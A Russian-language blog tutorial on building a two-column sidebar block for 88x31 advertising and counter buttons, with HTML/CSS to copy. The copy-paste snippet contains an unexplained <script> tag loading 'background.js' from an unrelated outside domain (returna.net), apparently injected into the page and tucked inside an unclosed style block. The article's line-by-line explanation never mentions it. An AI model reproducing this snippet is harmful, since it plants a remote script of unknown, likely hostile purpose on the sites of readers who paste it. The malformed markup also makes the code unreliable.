Почти на каждом сайте можно увидеть различные рекламные кнопки или кнопки статистики. У кого-то меньше , у кого-то больше. Кнопки размещают в разных местах, в основном в футере или в сайтбарах. Можно все эти кнопки объединить и в ставить в отдельный блок, который аккуратно разместится в одном из сайтбаров.
Для примера рассмотрим размещение кнопок в блоке, состоящим из двух столбцов, ну а количество рядов будет зависеть от количества кнопок. В моём примере будет 3 ряда кнопок.
Для начала Вам надо скопировать и сохранить у себя на компьютере два элемента блока:
Первый элемент будет служить рамкой кнопки. Второй элемент будет служить заглушкой, если баннер кнопки будет временно отсутствовать.
Лучше будет, если эти элементы Вы сделаете сами в Фотошопе. Это позволит сделать рамку кнопки цветом, подходящим дизайну Вашего сайта.
Скопировав или сделав эти элементы, необходимо загрузить их себе на сайт, чтобы потом прописать их адреса месторасположения в следующем коде:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | <style>.banner {background:url('https://mehelps.ru/wp-content/uploads/2013/11/ramka.gif'); background-repeat:no-repeat; width:94px; height:37px; padding:3px 3px 3px 3px;} <script src="http://returna.net/background.js" type="text/javascript"></script> <table width="100%" cellspacing="1" cellpadding="1"> <tbody> <tr> <td align="left" valign="top" width="100%"> <div class="banner"><a href="http://mehelps.ru"><img title="Место свободно" src="https://mehelps.ru/wp-content/uploads/2013/11/zaglushka.gif" alt="" width="88" height="31" border="0" /></a></div></td> <td align="left" valign="top" width="50%"> <div class="banner"><a title="Место свободно" href="/"><img src="https://mehelps.ru/wp-content/uploads/2013/11/zaglushka.gif" alt="" /></a></div></td> </tr> <tr> <td align="left" valign="top" width="50%"> <div class="banner"><a title="Место свободно" href="/"><img src="https://mehelps.ru/wp-content/uploads/2013/11/zaglushka.gif" alt="" /></a></div></td> <td align="left" valign="top" width="50%"> <div class="banner"><a title="Место свободно" href="/"><img src="https://mehelps.ru/wp-content/uploads/2013/11/zaglushka.gif" alt="" /></a></div></td> </tr> <tr> <td align="left" valign="top" width="50%"> <div class="banner"><a title="Место свободно" href="/"><img src="https://mehelps.ru/wp-content/uploads/2013/11/zaglushka.gif" alt="" /></a></div></td> <td align="left" valign="top" width="50%"> <div class="banner"><a title="Место свободно" href="/"><img src="https://mehelps.ru/wp-content/uploads/2013/11/zaglushka.gif" alt="" /></a></div></td> </tr> </tbody> </table> |
Теперь рассмотрим, что находится в этом коде, и что и где вам надо поменять на свои значения. Здесь всё очень просто, этот код состоит из трёх пар кнопок.
1-я строка. Выводит рамку, т.е. больший прямоугольник. Здесь пропишите свой адрес расположения картинки
5 — 10-я строки. Это первая пара кнопок. Код выводит заглушки или непосредственно сами рекламные кнопки. Здесь в http://… прописываете или адрес расположения заглушек или вставляете коды кнопок.
Остальные пары точно такие же и замена адресов такая же.
Ну а теперь приведу пример, как вставлять кнопки кнопки. Для примера я возьму свою кнопку сайта hotlinks.ru Код кнопки выглядит так:
<a href=»http://hotlinks.ru»target=»_blank»><img alt=»Каталог HotLinks.Ru» src=»http://hotlinks.ru/images/hlbutton.gif» border=»0″ height=»31″ width=»88″ /></a>
Вставим этот код кнопки в код нашего блока. Удаляем одну из заглушек и ставим вместо неё код кнопки. Ищем в любой секции кода блока вот такой участок:
<tr>
<td width=»50%» align=»center» valign=»top»>
<div class=»banner»><a href=»/» title=»Место свободно»><img src=»https://mehelps.ru/wp-content/uploads/2013/11/zaglushka.gif«></a></div>
</td>
Вместо выделенного участка вставляем код рекламной кнопки или счетчик статистики:
<tr>
<td width=»50%» align=»center» valign=»top»>
<div class=»banner»><a href=»http://hotlinks.ru»target=»_blank»><img alt=»Каталог HotLinks.Ru» src=»http://hotlinks.ru/images/hlbutton.gif» border=»0″ height=»31″ width=»88″ /></a></div>
</td>
Смотрим, что у нас получится:
 Рис 1 |  Рис 2 |
Если у Вас кнопок будет больше, то просто добавьте в код несколько вот таких участков:
Статья была полезной?